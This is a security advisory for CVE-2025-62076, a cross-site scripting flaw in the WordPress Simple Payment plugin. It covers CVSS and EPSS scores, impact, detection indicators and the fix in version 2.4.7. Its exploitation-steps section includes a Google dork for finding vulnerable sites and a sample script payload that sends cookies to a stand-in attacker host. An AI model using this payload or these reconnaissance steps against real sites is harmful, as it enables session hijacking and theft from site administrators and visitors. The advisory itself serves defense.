CVE-2025-62076: 
WordPress vulnerability analysis and mitigation

CVE-2025-62076 is a Cross-Site Scripting (XSS) vulnerability in the WordPress "Simple Payment" plugin by Ido Kobelkowsky (developer: yalla ya!). It affects all versions up to and including 2.4.6, with version 2.4.7 being the first patched release. The vulnerability was reported by researcher Nguyen Xuan Chien on September 29, 2025, and published by Patchstack on October 29, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), arising from insufficient sanitization of user-supplied input within the Simple Payment plugin. An unauthenticated attacker can craft a malicious payload that, when rendered in a victim's browser after a privileged user interacts with it (e.g., clicks a link or visits a crafted page), executes arbitrary JavaScript in the context of the affected WordPress site. The attack vector is network-based, requires no authentication, but does require user interaction from a privileged user to complete exploitation (Patchstack).

Successful exploitation allows an attacker to inject and execute malicious scripts (such as redirects, advertisements, credential-harvesting forms, or other HTML payloads) in the browsers of site visitors or administrators. This can lead to session hijacking, theft of authentication cookies, unauthorized administrative actions, defacement, or delivery of malware to site visitors. The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to the broader WordPress environment and its users (Patchstack).

No public proof-of-concept exploit code or confirmed in-the-wild exploitation has been reported for CVE-2025-62076 at this time. The EPSS score is approximately 0.033% (0.000330), indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that XSS vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Simple Payment plugin version 2.4.6 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/simple-payment).
2. Craft malicious payload: Construct an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected into a vulnerable input field or parameter handled by the plugin.
3. Deliver payload: Send the crafted URL or form submission containing the XSS payload to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or by embedding it in a comment or message.
4. Trigger execution: When the privileged user clicks the malicious link or visits the crafted page, the injected script executes in their browser within the context of the WordPress site.
5. Achieve objective: The attacker harvests session cookies, performs unauthorized administrative actions, or injects persistent malicious content into the site (Patchstack).

• Network: Outbound HTTP requests from the WordPress server or victim browsers to unknown external domains shortly after a privileged user interacts with plugin-related pages; unusual referrer headers in web server logs pointing to crafted URLs.
• Logs: WordPress or web server access logs showing requests to Simple Payment plugin endpoints with URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters or POST bodies.
• File System: Unexpected modifications to plugin files in wp-content/plugins/simple-payment/; presence of newly created or modified PHP files in the plugin directory.
• Browser/Application: Reports from administrators of unexpected redirects, pop-ups, or unfamiliar scripts executing when managing payment-related pages in the WordPress dashboard.

The vendor has released version 2.4.7 of the Simple Payment plugin, which patches this vulnerability. All users running version 2.4.6 or earlier should update to 2.4.7 or later immediately via the WordPress plugin dashboard. Patchstack users benefit from a virtual patching/mitigation rule that blocks exploitation attempts until the plugin is updated; enabling auto-update for vulnerable plugins is also recommended (Patchstack).

Wordfence included this vulnerability in their weekly WordPress vulnerability report covering October 27–November 2, 2025, highlighting it as part of broader plugin security tracking (Wordfence Blog). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability database aggregation.
